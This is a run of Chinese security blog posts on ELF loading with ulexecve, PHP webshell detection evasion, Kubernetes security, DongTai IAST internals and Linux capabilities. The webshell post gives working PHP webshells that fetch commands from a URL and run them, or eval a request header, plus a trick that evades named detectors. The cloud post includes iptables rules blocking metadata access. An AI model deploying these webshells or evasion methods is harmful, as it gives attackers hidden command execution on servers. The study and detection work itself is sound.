elf装载的原理不复杂，基本步骤是通过mmap、mprotect系统调用申请到"可读可写可执行"的内存，然后将PT_LOAD类型的segment映射到内存中，最后根据e_entry跳转到映射到内存的代码段中执行。

有两个疑问促使我研究，第一个问题是elf装载时内存地址空间不会和装载前的内存地址空间冲突吗，第二个问题是怎么处理动态链接库。

本文记录在我研究过程中学到的"散装知识点"，希望对你有点帮助。

elf装载时内存地址空间不会和装载前的ulexecve程序内存地址空间冲突吗

python ulexecve.py加载elf时有可能破坏原来的python程序指令，导致程序崩溃？

实际上不会，ulexecve有一个"jump buffer"的概念，ulexecve.py会先生成"elf loader"指令，然后申请一个"jump buffer"内存，最后跳转到内存执行。

def prepare_jumpbuf(buf):
    dst = mmap(0, PAGE_CEIL(len(buf)), PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)
    src = ctypes.create_string_buffer(buf)
    logging.debug("Memmove(0x%.8x, 0x%.8x, 0x%.8x)" % (dst, ctypes.addressof(src), len(buf)))
    memmove(dst, src, len(buf))
    ret = mprotect(PAGE_FLOOR(dst), PAGE_CEIL(len(buf)), PROT_READ | PROT_EXEC)
    ...
    return ctypes.cast(dst, ctypes.CFUNCTYPE(c_void_p))
cfunction = prepare_jumpbuf(jumpbuf)
cfunction()

怎么处理动态链接库

处理动态库是"动态链接器"的工作，而不是"程序装载器"的工作。"程序装载器"设置好栈环境、辅助向量(auxilliary vector)，就可以把程序控制权交给"动态链接器"。如下

def generate(self, stack, jump_delay=None):
    # generate jump buffer with the CPU instructions which copy all
    # segments to the right locations in memory, set the correct protection
    # flags on those memory segments and then prepare for the actual jump
    # into hail mary land.
    # generate ELF loading code for the executable as well as the
    # interpreter if necessary
    ret = []
    code = self.generate_elf_loader(self.exe) # 1.拷贝elf segment到虚拟内存
    ret.append(code)
    # fix up the auxv vector with the proper relative addresses too
    code = self.generate_auxv_fixup(stack, Stack.OFFSET_AT_PHDR, self.exe.e_phoff)  2.设置辅助向量
    ret.append(code)
    # fix up the auxv vector with the proper relative addresses too
    code = self.generate_auxv_fixup(stack, Stack.OFFSET_AT_ENTRY, self.exe.e_entry, self.exe.is_pie)  3.设置辅助向量
    ret.append(code)
    if self.interp: # 4.如果有动态链接器，就从动态链接器的入口执行
        code = self.generate_elf_loader(self.interp)  # 4.1.拷贝动态链接器 segment到虚拟内存
        ret.append(code)
        code = self.generate_auxv_fixup(stack, Stack.OFFSET_AT_BASE, 0) # 4.2.设置辅助向量
        ret.append(code)
        entry_point = self.interp.e_entry
    else: # 4.如果没有动态链接器，就从elf入口执行
        entry_point = self.exe.e_entry
        if not self.exe.is_pie:
            entry_point -= self.exe.ph_entries[0]["vaddr"]
    self.log("Generating jumpcode with entry_point=0x%.8x and stack=0x%.8x" % (entry_point, stack.base))
    code = self.generate_jumpcode(stack.base, entry_point, jump_delay)  5.生成"从入口执行"的指令
    ret.append(code)
    return b"".join(ret)

上面代码中可以看到self.exe.is_pie影响程序入口地址，这个pie是什么呢？

pie和aslr

pie和aslr一样都可以实现地址随机化，防御漏洞利用。区别在于aslr不负责代码段以及数据段的随机化工作，这项工作由pie负责。但是只有在开启aslr之后，pie才会生效。

下面我们可以结合ulexecve代码和动手实践，看一下pie到底是怎么工作的。

如果elf文件有pie机制，mmap第一个地址参数就是0。此时如果开启了aslr，mmap系统调用返回的地址就会一个随机化的地址。

def generate_elf_loader(self, elf):
    ...
    addr = 0x0 if elf.is_pie else elf.ph_entries[0]["vaddr"]
    ...
    code = self.mmap(addr, map_sz, prot, flags)
    ret.append(code)

怎么判断elf程序是否开启pie机制呢？从下面代码可以看到，第一个PT_LOAD类型的segment虚拟地址是0时，就说明开启了pie。

def parse_pentry(self):
    ...
    # first PT_LOAD section we use to identifie PIE status
    if len(self.ph_entries) == 0:
        if p_vaddr != 0x0:
            self.log("Identified as a non-PIE executable")
            self.is_pie = False
        else:
            self.log("Identified as a PIE executable")
            self.is_pie = True

当你用gcc --pie参数编译时，文件的第一个PT_LOAD类型的segment虚拟地址就会是0。

[root@instance-h9w7mlyv tmp]# gcc -fPIC --pie z.c
[root@instance-h9w7mlyv tmp]# readelf -l ./a.out
...
Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  ...
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000   # 参数带--pie时，VirtAddr为0
                 0x0000000000000898 0x0000000000000898  R E    0x200000
  LOAD           0x0000000000000de0 0x0000000000200de0 0x0000000000200de0
                 0x0000000000000254 0x0000000000000258  RW     0x200000
[root@instance-h9w7mlyv tmp]# gcc -fPIC z.c
[root@instance-h9w7mlyv tmp]# readelf -l ./a.out
...
Program Headers:
 Type           Offset             VirtAddr           PhysAddr
                FileSiz            MemSiz              Flags  Align
 ...
 LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000    # 非--pie时，VirtAddr不为0
                0x0000000000000808 0x0000000000000808  R E    0x200000
 LOAD           0x0000000000000e00 0x0000000000600e00 0x0000000000600e00
                0x000000000000022c 0x0000000000000230  RW     0x200000

总结

文中有一些概念我并没有解释，比如elf文件格式、segment是什么，这一块你可以参考《程序员的自我修养—链接、装载与库》、ELF 格式解析^[1]，辅助向量的知识你可以参考 https://lwn.net/Articles/519085/

ulexecve代码中的注释非常清晰，原作者还写了一篇博客 Userland Execution of Binaries Directly from Python^[2]

感觉"动态链接器"要比"程序装载器"要复杂，以后有场景了再研究。

留一个思考问题：怎么检测elf loader呢，以及作为蓝军可以怎么优化elf loader来避免检测呢？

参考资料

背景

在研究基于netfilter的后门时，我想到如果webshell可以创建af_packet、af_netlink等socket，就可以不使用$_POST、$_GET等方式获取用户输入，因为某些webshell检测方式会标记$_POST、$_GET等数据为污点，所以这种方式可以用来躲避检测。

不过很遗憾，从 https://www.php.net/manual/en/function.socket-create.php 文档中看，socket_create不支持创建af_netlink、af_packet类型的socket。

接着我又想到，我可以通过"端口复用"创建tcp服务来获取用户输入。比如和php-fpm、ssh服务做"端口复用"。

在 https://cloud.tencent.com/lab/search?searchtitle=lnmp 的实验环境里搭了一个php-fpm环境后，测试后发现无法做端口复用，猜测应该是php-fpm服务监听的socket没有用SO_REUSEPORT选项。测试代码见 https://gist.github.com/leveryd/83038ce5b53a34435c9c0888235bf7bd

似乎上面两种思路都不行，最后我就想webshell能不能从远程获取用户输入呢，这样也不用$_POST、$_GET等变量。沿着这个思路构造了几个样本，并在长亭的牧云^[1]、百度的webdir^[2]验证了一下检出效果。

测试过程

第一个样本如下

<?php
$cmd=file_get_contents("http://127.0.0.1:9999/cmd");
system($cmd);

牧云标记出webshell，webdir没有检出。

即使改成下面这种用eval、字符串拼接，牧云也可以检出

<?php
eval('$cmd=file_get'.'_contents("http://127.0.0.1:9999/cmd");');
system($cmd);

不过加入随机数后，牧云就无法检出

<?php
function rand_char(){
        $s = substr(str_shuffle(str_repeat("1t",1)), 0, 1); // 从"1"和"t"中随机选择一个字符
        return $s;
}
$r=rand_char();
eval('$cmd=file_ge'.$r.'_contents("http://127.0.0.1:9999/cmd");');
system($cmd);

rand、mt_rand 生成的随机数，牧云是可以检出的

总结

最开始的思路是想避免$_POST、$_GET等常见方式获取用户输入，最终绕过还是得靠不常见的随机数函数。

file_get_contents也可以改成socket，代码见 https://gist.github.com/leveryd/896b9fba137aa2d12ce8c7737d451852

PS：在研究过程中，发现一个似乎比较少见的获取header的api，测试发现也可以绕过webdir

<?php
$headers=apache_request_headers();
eval($headers["X-TARGET"]);

参考资料

背景

我想总结一下我理解的云原生安全，内容源于我的工作经历、我看到的公开分享、最近面试时被问到的。

kubernetes官方提出"你可以分层去考虑安全性，云原生安全的4个C分别是云(Cloud)、集群(Cluster)、容器(Container)和代码(Code)"，我也是从这个"4c模型"来理解云原生安全的。

kubernetes描述的4c模型 https://kubernetes.io/zh-cn/docs/concepts/security/overview/

下面就向你介绍我用"4c模型"怎么理解云原生安全的，在每一层描述风险和对应的缓解措施。

第一个C：代码(Code)

代码风险有两种，编码和第三方依赖，缓解这两种安全风险也有很多手段。

其中我觉得安全编码最重要的是在web框架提供统一的默认安全能力，然后通过检查业务代码有没有使用框架提供的不安全api来收敛风险。就比如说orm框架预编译避免sql注入、react/vue等前端框架能将数据和代码分离来避免xss。

第二个C：容器(Container)

kubernetes的命名空间并没有网络隔离的效果，默认情况下pod之间能互相访问、pod能访问宿主机、pod能访问vpc。当pod被getshell、pod服务存在ssrf漏洞时，就能攻击其他服务。

容器网络中也可以arp欺骗，有师傅分享过实战案例，可以见 https://github.com/knownsec/KCon/tree/master/2019/25日/针对Docker容器网络的ARP欺骗与中间人攻击.pdf

镜像中的基础镜像、安装的软件有可能版本比较低，存在历史漏洞。这种风险不一定能变成漏洞利用，提供镜像的服务商可能更关注这类风险。风险更大的场景是镜像中存在研发运维留在镜像中的敏感信息，比如pod中的应用想要和云服务通信时需要有ak/sk来签名或者sts，所以反编译应用或者查看环境变量后能看到ak/sk或者sts。

身份认证

pod中的进程可以用/var/run/secrets/kubernetes.io/serviceaccount/token文件中的服务账号作为集群中的身份，这里的风险是token文件是明文存储的，并且也没有办法确保所有pod中的应用api都实现认证鉴权。

Kubernetes 下零信任安全架构分析^[1] 文章中提到蚂蚁k8s集群中api服务认证和授权的设计，在服务网格场景中，通过sidecar、pod label、证书或者jwt来在请求中带上身份信息、通过sidecar校验身份和授权。

对于这个设计我有很多不明白的地方，比如 "在pod里curl其他应用，sidecar也会带上身份信息？这样不就相当于伪造身份了吗"。

网络隔离

风险是什么呢？

网络隔离是我认为"投入产出比最高、优先级最高"的一个事情。

默认情况下，pod是可以访问"k8s集群网络"、"宿主机网络"：

• 可以访问宿主机上的服务
• 可以访问"宿主机所在网络"的服务
• 可以访问集群service、pod，并且不受"kubernetes namespace"限制

kubernetes namespace不是内核的namespace，而是"项目"的概念。一个项目应该属于一个 kubernetes namespace。

从pod攻击集群有很多手段，举两个例子。

如果集群部署在云虚机上，在容器中就可以访问特殊网段的"元数据服务"。在18年黑掉DigitalOcean的k8s服务案例^[2]中，攻击者通过metadata中的etcd凭证拿下k8s集群。在Shopify的hackerone报告^[3]中，攻击者通过ssrf漏洞获取谷歌云metadata中的集群证书信息。

在容器中也可以攻击宿主机上的服务。举一个我以前报告的漏洞为例，通过"容器中挂载宿主机根目录到容器后写入ssh key，然后在容器中连接宿主机ssh"我逃逸到了宿主机。当时我想如果业务方"禁止容器访问宿主机ssh服务"，逃逸过程就会受影响。

挂载宿主机目录后，也可以用static pod、cron服务来做攻击。怎么预防和发现这种利用手段是另外一个话题。

攻击者也可以在容器中对vpc、内网、集群服务做漏洞扫描。更多的kubernetes下的攻击手法和案例可以阅读 neargle大佬的总结^[4]

怎么做网络隔离呢？

一个比较常见的网络隔离效果如下：

对pod的限制：

• pod不能主动访问"宿主机所在的内网"
• pod不能主动访问宿主机
• pod不能主动访问虚机metadata
• pod能主动访问外网
• 同一个"k8s namespace"下pod网络可以互通，不同"k8s namespace"下pod网络不通

同时，不应该限制宿主机网络：

• node可以访问master
• node可以访问外网

kubernetes的NetworkPolicy^[5] 并不能完全实现上面要求的网络隔离效果，因为它的默认策略是拒绝，用户只能加白。所以我们还需要借助其他的手段来做网络隔离，比如iptables。

一个简单的例子如下：在宿主机上执行下面的iptables (假设pod网段是10.233.69.0/24)

iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 192.168.0.0/16 -j DROP   // pod不能主动访问"宿主机所在的内网"
iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 10.0.0.0/8 -j DROP
iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 172.16.0.0/12 -j DROP
iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 169.254.169.254/32 -j DROP    // pod不能主动访问metadata(华为云/百度云/amazon/azure)
iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 100.100.100.200/32 -j DROP    // pod不能主动访问metadata(阿里云)
iptables -I OUTPUT -d 10.233.69.0/24 -j ACCEPT // 容器网络加白
iptables -I OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

利用内核漏洞逃逸的检测和阻断

The Route to Host：从内核提权到容器逃逸^[6] 提到多种利用内核漏洞做容器逃逸的手段，比如修改容器进程task_struct数据结构的nsproxy、cred字段，修改命名空间和capability。

有针对类似利用手法做检测的方案，比如 lkrg^[7]项目，检查进程cred等字段是否改变。

https://i.blackhat.com/USA-22/Wednesday/US-22-Fournier-Return-To-Sender.pdf paper中提到针对内核漏洞rop利用手法，通过eBPF检查commit_creds(prepare_kernel_cred(0))函数调用栈中是否有来自用户态空间的地址，达到类似smep、smap的效果。

镜像裁剪和运行时监控

https://containerjournal.com/features/sysdig-adds-ability-to-make-container-runtimes-immutable 提到sysdig产品提供了一个能力，能让"容器只运行白名单程序"。

在 https://github.com/falcosecurity/falco/blob/35db0b4a24344bc6c24022555f7d8531ad925136/rules/falco_rules.yaml#L3018 可以看到规则。

包括两种告警策略:

• 发现chmod时
• 发现open创建的文件有执行权限时

如果一个镜像裁剪到只留下必要的可执行文件，再加上面的运行时监控，就能削减很大的攻击面、容易发现威胁。

第三个C：集群

蚂蚁集团针对 K8s 中 Secret 安全防护的实践与探索^[8] 中提到针对secret对象实施的数据安全方案，相比于只在etcd中加密secret，还保护了apiserver内存中没有secret。个人感觉大部分公司没有需求和动力做这个建设。

https://github.com/knownsec/KCon/blob/master/2021/kubernetes中的异常活动检测.pdf paper中提到通过kubernetes的审计机制、创建蜜罐账号来发现集群中的攻击行为。

总结

总结了code、container、cluster三层的风险和缓解措施，对于其中我自己觉得重要或者有意思的部分内容做了多一点说明。

做云原生安全检测产品、云安全建设时，kubernetes攻防矩阵^[9] 也是一个值得参考的模型。

参考资料

背景

之前的工作中我处理过一些洞态iast^[1]的漏报误报案例,也逐渐了解这个项目。

本文记录我对洞态iast基本原理的理解,内容包括：

怎么做漏洞检测?

如上，用户可以在server端配置四类规则：

• 污点源方法：是获取api、rpc请求信息的接口或者类签名,比如javax.servlet.ServletRequest.getParameter(java.lang.String)
• 传播方法：是字符串拼接、编码等接口或类签名,比如java.lang.String.<init>(java.lang.String)
• 危险方法：是高危函数,比如javax.naming.Context.lookup(java.lang.String)

源码中有三个重要的数据结构,TAINT_POOL存放污点对象,TAINT_HASH_CODES存放污点对象的hashCode值,TRACK_MAP存放调用关系

当代码执行到被hook的传播方法时,会根据用户配置的"污点来源"规则,拿到对象(一般是函数的某个参数)去TAINT_POOL和TAINT_HASH_CODES搜索匹配。如果能匹配上,就会根据用户配置的"污点去向"规则,生成污点对象并放到TAINT_POOL中,并将污点对象的hashCodes存放到TAINT_HASH_CODES中,最后将传播方法的调用关系存放到TRACK_MAP。

当代码执行到被hook的危险方法时,和传播方法的逻辑比较类似,不过没有"污点去向"。

这里的"污点"是什么呢？

污点是什么？

最重要的概念是对象的hashcode/identifyHashCode,hashcode/identifyHashCode作为数据的唯一跟踪方法会被加入到污点池中,也会被用来判断是否在污点池中。

下面我带你通过一个我遇到过的误报案例来理解这个概念。

因为Java中相同字符串对象的hashcode/identifyHashCode是不变的,如下

String a = "123";
String b = "123";
System.out.println(System.identityHashCode(a));   // 1289696681
System.out.println(System.identityHashCode(b));   // 1289696681

所以有时候即使危险函数的参数完全不可控,也会报警。如下代码中的iast17接口之前会误报(现已修复),因为iast会认为f.getName()返回的字符串对象123是污点。

@ResponseBody
@RequestMapping("/iast17")
public String iast17(@RequestParam("name") String name) {
    ArrayList<String> a = new ArrayList<>();
    a.add("123");
    a.add(name); // a对象会被标记成污点
    Iterator<String> b = a.iterator();
    System.out.println(b.next());
    System.out.println(b.next()); // "123"会被标记成污点
    File f = new File("123");   
    return f.getName(); // 返回值"123"被认为是可控的,会产生误报
}

iast为什么会认为"123"是污点呢？

因为执行a.add(name)时,下面的传播规则会使得a对象变成污点

在执行b.next()时,iterator.next()传播规则会让123字符串变成污点

流程浅析

collectMethodPool方法串联了"最重要"的业务流程。当java-agent启动时,会拉取server端规则,然后根据规则hook类,确保在被hook的方法执行前或者执行后能调用到collectMethodPool方法。在处理http请求时,collectMethodPool方法会判断当前是属于哪一类规则,并做对应的动作。

你可以从java-agent启动时和请求过来时两个场景来看业务逻辑。

java-agent启动时会找到所有jvm已经加载的类并重写字节码,如下

// https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/IastClassFileTransformer.java#L250
public void reTransform() {
    ...
    Class<?>[] waitingReTransformClasses = findForRetransform();    // 找到所有待重写的类
    ...
    for (Class<?> clazz : waitingReTransformClasses) {
    ...
          inst.retransformClasses(clazz);   // 用asm重新生成字节码
    ...
    }
}

因此实现了对污点源方法、传播方法、危险方法的hook,并且使得执行方法前或者执行方法后,调用captureMethodState方法。

// 污点源方法: https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/SourceAdviceAdapter.java#L26
public class SourceAdviceAdapter extends AbstractAdviceAdapter {
  ...
  @Override
  protected void after(int opcode) {
      ...
      captureMethodState(opcode, HookType.SOURCE.getValue(), true);
      ...
  }
// 传播方法: https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/PropagateAdviceAdapter.java#L31
public class PropagateAdviceAdapter extends AbstractAdviceAdapter {
  ...
  @Override
  protected void after(final int opcode) {
      ...
      captureMethodState(opcode, HookType.PROPAGATOR.getValue(), true);
      ...
  }
// 危险方法: https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/SinkAdviceAdapter.java#L31
public class SinkAdviceAdapter extends AbstractAdviceAdapter {
  ...
  @Override
  protected void before() {
      ...
      captureMethodState(-1, HookType.SINK.getValue(), false);
      ...
  }

captureMethodState 最终会调用collectMethodPool方法

// https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/AbstractAdviceAdapter.java#L103
protected void captureMethodState(
        final int opcode,
        final int hookValue,
        final boolean captureRet
) {
    ...
    invokeInterface(ASM_TYPE_SPY_DISPATCHER, SPY$collectMethodPool);
    pop();
}
// https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/asm/AsmMethods.java#L131
Method SPY$collectMethodPool = InnerHelper.getAsmMethod(
        SpyDispatcher.class,
        "collectMethodPool",
        ...
);

请求过来时,就会执行到collectMethodPool方法,方法中根据hookType处理。

// https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/handler/hookpoint/SpyDispatcherImpl.java#L462
@Override
public boolean collectMethodPool(Object instance, Object[] argumentArray, Object retValue, String framework,
                                 String className, String matchClassName, String methodName, String methodSign, boolean isStatic,
                                 int hookType) {
    // hook点降级判断
    ...
    // 尝试获取hook限速令牌,耗尽时降级
    ...
    ...
    MethodEvent event = new MethodEvent(0, -1, className, matchClassName, methodName,
            methodSign, methodSign, instance, argumentArray, retValue, framework, isStatic, null);
    if (HookType.HTTP.equals(hookType)) {
        HttpImpl.solveHttp(event);
    } else if (HookType.RPC.equals(hookType)) {
        solveRPC(framework, event);
    } else if (HookType.PROPAGATOR.equals(hookType) && !EngineManager.TAINT_POOL.isEmpty()) {   // 处理传播方法
        PropagatorImpl.solvePropagator(event, INVOKE_ID_SEQUENCER);
    } else if (HookType.SOURCE.equals(hookType)) {  // 处理污点源方法
        SourceImpl.solveSource(event, INVOKE_ID_SEQUENCER);
    } else if (HookType.SINK.equals(hookType)) {    // 处理危险方法
        SinkImpl.solveSink(event);
    }
    ...
}

举个例子：怎么检测接口是否存在SQL注入风险？

后端服务用mybatis时,${变量}的sql写法容易造成sql注入,而#{变量}底层会使用预编译通常不会产生sql注入问题,如下

// 第一个sql：存在sql注入
select * from user where name=${name}
// 第二个sql：不存在sql注入
select * from user where name=#{name}

当用户请求/user?name=admin时,iast是怎么检查出第一种接口存在SQL注入风险,而不会对第二种接口误报呢？

实际上如果我们调试一下,就知道#和$的写法调用的sql接口是有区别的,如下

// 使用 ${name}时
conn.prepareStatement("select * from user where name="admin")
// 使用#{name}时
pstmt=conn.prepareStatement("select * from user where name=?)
pstmt.setString(1, "admin")

洞态iast默认有一个危险方法规则是java.sql.Connection.prepareStatement(java.lang.String),当第一个参数是污点时,就会告警,规则如下。

所以使用 ${name}时,admin字符串对象是污点,"select * from user where name="admin"字符串对象也会被标记成污点,于是命中危险方法规则,产生告警。

总结

学习iast时阅读官方文档和代码调试很有用,java-agent调试可以看 https://doc.dongtai.io/docs/development/dongtai-java-agent-doc/agent-debug

参考资料

背景

虽然官方文档(man capabilities)和《Linux 内核安全模块深入剖析》书的第六章对"能力"有很全面详细的描述，但是我之前遇到了两个和能力有关的案例，从文档中看不出来原因，只好猜测原因并从源码中确认结论。

本文记录这两个特殊案例，加深自己对"能力"概念的理解，也希望能对linux安全有兴趣的读者有点帮助。

第一个案例是普通用户执行dumpcap时可以按照预期运行，而strace dumpcap时提示权限不足。如下

更详细的问题背景可以见正文，或者看我提的issue：https://github.com/strace/strace/issues/221

第二个案例是我好奇root用户执行su - test变成非root用户后会有哪些能力？

先来看第一个案例。

普通用户执行strace dumpcap时提示权限不足

研究这个问题的起因

在 基于netfilter的后门 文章中，我最早是用dumpcap -i nflog:2333代替tcpdump -i nflog:2333抓包的。

我在安装dumpcap命令、添加x权限后，发现非root用户也可以用dumpcap抓整个主机上的包。如下

[root@instance-h9w7mlyv ~]# yum install wireshark -y    // 安装dumpcap命令
[root@instance-h9w7mlyv ~]# chmod +x /usr/bin/dumpcap   // 添加执行权限
[test@instance-h9w7mlyv ~]$ dumpcap -i eth0     // 抓eth0网卡的包
Capturing on 'eth0'
File: /var/tmp/wireshark_eth0_20220907165305_9Quu6X.pcapng
Packets captured: 17
Packets received/dropped on interface 'eth0': 17/0 (pcap:0/dumpcap:0/flushed:0/ps_ifdrop:0) (100.0%)

一个普通用户能够获取主机上的所有流量，听着就很不安全，所以我就想看看为什么非root用户可以用dumpcap命令监听网卡流量。

[test@instance-h9w7mlyv ~]$ getcap /usr/bin/dumpcap
/usr/bin/dumpcap = cap_net_admin,cap_net_raw+ep

如上，可以看到dumpcap有cap_net_raw文件能力。或许你知道只要线程有cap_net_raw能力，就可以用socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))创建socket来抓包。

所以可以猜测dumpcap也是用AF_PACKET socket抓包的，于是我想执行strace dumpcap看一下系统调用中是否有创建AF_PACKET socket。然后发现普通用户执行strace dumpcap时提示报错，如下

[test@instance-h9w7mlyv ~]$ strace -o strace.log dumpcap
Capturing on 'eth0'
dumpcap: The capture session could not be initiated on interface 'eth0' (You don't have permission to capture on that device).
Please check to make sure you have sufficient permissions.
...

这里就让我感觉很奇怪：为什么普通用户执行dumpcap时可以按照预期运行，而strace dumpcap时提示权限不足？

还有类似的现象：普通用户strace ping www.baidu.com也会提示权限不足

为什么普通用户执行strace dumpcap时提示权限不足？

man execve看到下面一段文档

The aforementioned transformations of the effective IDs are not performed (i.e., the set-user-ID and set-group-ID bits are ignored) if any of the following is true:
 *  the no_new_privs attribute is set for the calling thread (see prctl(2));
 *  the underlying filesystem is mounted nosuid (the MS_NOSUID flag for mount(2)); or
 *  the calling process is being ptraced.   // 进程正在被ptrace
The capabilities of the program file (see capabilities(7)) are also ignored if any of the above are true.

`man capabilities`^[1]看到下面一段文档

Note: the capability transitions described above may not be performed (i.e., file capabilities may be ignored) for the same reasons that the set-user-ID and set-group-ID bits are ignored; see
execve(2).

从文档得出结论：只要进程被ptrace，那么execve时就会忽略文件能力和set-uid/set-gid等。因为strace底层就是ptrace，所以似乎这个结论可以解释我遇到的现象。

但是当用root用户给strace文件添加能力后，普通用户运行strace dumpcap又可以正常工作，上面的结论就解释不通了。如下

[root@instance-h9w7mlyv ~]# setcap cap_net_admin,cap_net_raw+ep /usr/bin/strace   // 给strace文件添加能力
[root@instance-h9w7mlyv ~]#
[root@instance-h9w7mlyv ~]# su - test     // 切换到普通用户
...
[test@instance-h9w7mlyv ~]$ getcap /usr/bin/strace
/usr/bin/strace = cap_net_admin,cap_net_raw+ep
[test@instance-h9w7mlyv ~]$ getcap /usr/bin/dumpcap
/usr/bin/dumpcap = cap_net_admin,cap_net_raw+ep
[test@instance-h9w7mlyv ~]$ strace -o strace.log dumpcap      // strace dumpcap现在可以抓包
Capturing on 'eth0'
File: /var/tmp/wireshark_eth0_20220908182215_A7Uikl.pcapng
Packets captured: 11
Packets received/dropped on interface 'eth0': 11/0 (pcap:0/dumpcap:0/flushed:0/ps_ifdrop:0) (100.0%)

所以看起来，普通用户执行strace dumpcap后dumpcap进程的有效能力集是strace文件能力和dumpcap文件能力交集。

那到底是不是这样呢？

是不是交集?

strace dumpcap时,从用户态看strace原理大概如下

// fork后，strace子进程能力集和strace进程是相同的
pid_t pid = fork();
// 子进程
if (pid == 0) {
    ptrace(PTRACE_TRACEME,0,NULL,NULL);
    // 加载被调试的程序
    execve("/usr/bin/dumpcap", NULL, NULL);
}

参考 Linux ptrace 的实现^[2]

内核在执行execve时，会执行到cap_bprm_set_creds函数，函数栈如下

[root@instance-h9w7mlyv ~]# bpftrace -e 'kprobe:cap_bprm_set_creds {printf("%s\n",kstack)}'
Attaching 1 probe...
        cap_bprm_set_creds+1
        security_bprm_set_creds+34
        prepare_binprm+299
        do_execveat_common.isra.37+1274
        __x64_sys_execve+50   // execve系统调用入口
        do_syscall_64+91
        entry_SYSCALL_64_after_hwframe+101

代码位置在：https://elixir.bootlin.com/linux/v4.18/source/security/commoncap.c#L854

可以看到cap_bprm_set_creds函数会对能力做交集

int cap_bprm_set_creds(struct linux_binprm *bprm)
{
 const struct cred *old = current_cred();
 struct cred *new = bprm->cred;
 ...
  ret = get_file_caps(bprm, &effective, &has_fcap);    // 会从文件扩展属性中找到能力集合，赋值给brpm->cred相应字段
  ...
 if ((is_setid || __cap_gained(permitted, new, old)) &&
     ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) ||
      !ptracer_capable(current, new->user_ns))) {
  /* downgrade; they get no more than they had, and maybe less */
  if (!ns_capable(new->user_ns, CAP_SETUID) ||
      (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
   new->euid = new->uid;
   new->egid = new->gid;
  }
  new->cap_permitted = cap_intersect(new->cap_permitted,    // new->cap_permitted是execve后的进程允许能力集，当前的值是dumpcap文件的允许能力集
         old->cap_permitted);   // old->cap_permitted是当前进程的允许能力集，也就是strace fork后子进程的能力集
 }
  ...
}

那strace进程的能力集是怎么来的呢？

strace进程的能力集是怎么来的呢？

strace进程能力是根据bash进程能力和strace文件能力，按照计算规则得来的，如下

那普通用户的bash进程能力集又是啥呢？它是怎么计算出来的呢？这就是我的第二个疑问

普通用户的bash进程能力集是啥？

如下，可以看到普通用户的bash进程除了限制能力集其他能力集都是0

[root@instance-h9w7mlyv ~]# su - test
[test@instance-h9w7mlyv ~]$ ps
  PID TTY          TIME CMD
18042 pts/4    00:00:00 bash
[test@instance-h9w7mlyv ~]$ cat /proc/18042/status|grep -i cap
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

test用户是useradd test创建的普通用户

对比可以发现: root用户切换test用户后，能力变少了。

[root@instance-h9w7mlyv ~]# ps
  PID TTY          TIME CMD
52739 pts/0    00:00:00 bash
[root@instance-h9w7mlyv ~]# cat /proc/52739/status|grep -i cap
CapInh: 0000000000000000
CapPrm: 000001ffffffffff
CapEff: 000001ffffffffff
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

root用户通过su - test切换新用户后，为什么能力会变少呢？

为什么root用户切换到新用户后能力变少？

《Linux 内核安全模块深入剖析》6.4.2节中提到capset、capget、prctl三个系统调用都能改变进程的能力集，但是从下面可以看出来，su并没有用这三个系统调用

[root@instance-h9w7mlyv ~]# strace -f su - test 2>&1|grep -i cap
[root@instance-h9w7mlyv ~]# strace -f su - test 2>&1|grep -i -E '\bprctl'

在《Linux系统编程手册》39.6节中提到这种情况

为了与用户 ID 在 0 与非 0 之间切换的传统含义保持兼容，在改变进程的用户 ID(使用 setuid()等)时，内核会完成下列操作。
1. 如果真实用户ID、有效用户ID或saved set-user-ID之前的值为0，那么修改了用户 ID 之后，所有这三个 ID 的值都会变成非 0，并且进程的许可和有效能力集会被清除 (即所有的能力都被永久地删除了)。
2. 如果有效用户 ID 从 0 变成了非 0，那么有效能力集会被清除(即有效能力被删除了，但那些位于许可集中的能力会被再次提升)。

也就是说，当用户调用setuid系统调用从特权用户变成非特权用户时，允许能力集和有效能力集会被清除。

下面来验证一下，看看su程序是不是用到了setuid系统调用、setuid系统调用是不是真的可能清空能力集。

验证setuid和能力的关系

通过strace可以观察到su程序确实调用了setuid

[root@instance-h9w7mlyv ~]# strace -f su - test 2>&1|grep setuid
[pid 23628] setuid(1000 <unfinished ...>
[pid 23628] <... setuid resumed>)       = 0

阅读内核代码后，也可以看到在cap_emulate_setxuid函数中内核清除了进程的能力集。

代码位置在：https://elixir.bootlin.com/linux/v4.18/source/security/commoncap.c#L1005

static inline void cap_emulate_setxuid(struct cred *new, const struct cred *old)
{
 ...
   cap_clear(new->cap_permitted);
   cap_clear(new->cap_effective);
 ...
  cap_clear(new->cap_ambient);
 }
 ...
}

cap_emulate_setxuid函数因为inline被内敛优化，所以没有办法被bpftrace观察到，但我们可以观察它的调用者cap_task_fix_setuid函数。

